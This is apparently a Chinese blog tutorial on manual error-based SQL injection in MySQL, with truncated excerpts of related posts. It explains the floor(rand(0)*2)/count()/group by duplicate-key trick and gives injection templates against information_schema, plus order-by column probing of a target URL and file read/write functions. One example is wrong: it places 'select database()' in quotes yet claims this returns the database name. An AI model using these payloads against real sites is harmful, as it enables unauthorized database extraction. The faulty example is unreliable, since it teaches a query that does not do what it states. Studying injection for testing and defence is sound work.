SQL手工注入 報錯注入利用

2021-09-26 14:44:14 字數 614 閱讀 7501

利用資料庫的bug進行利用,看報錯資訊,不過報錯的資訊就是我們想要的資訊。

只要是count() rand group by 三個連用就會造成這種報錯。

count用於判斷資料庫或表的數量,rand用於生成乙個隨機數,group by用於以什麼為一組進行分組。

至少要有三條資料 才有可以產生報錯注入。

floor(rand(0)*2))一定報錯

語句:select concat(floor(rand(0)*2),"*********")  as xx,count(1) from admin group by xx;

通過報錯,返回資料********,因此可以修改語句:

select concat(floor(rand(0)*2),"select database()")  as xx,count(1) from admin group by xx;

則返回資料庫名

left(rand(),3)不一定報錯

round(x,d)  //x指要處理的數,d是指保留幾位小數

concat()  //字串拼接

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

SQL手工注入

site xx.cn inurl asp?id 找文章 xx.cn pth onews.asp?id 243 試注入 xx.cn pth onews.asp?id 243 order by 10 xx.cn pth onews.asp?id 243 order by 20 order by 語句用於...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...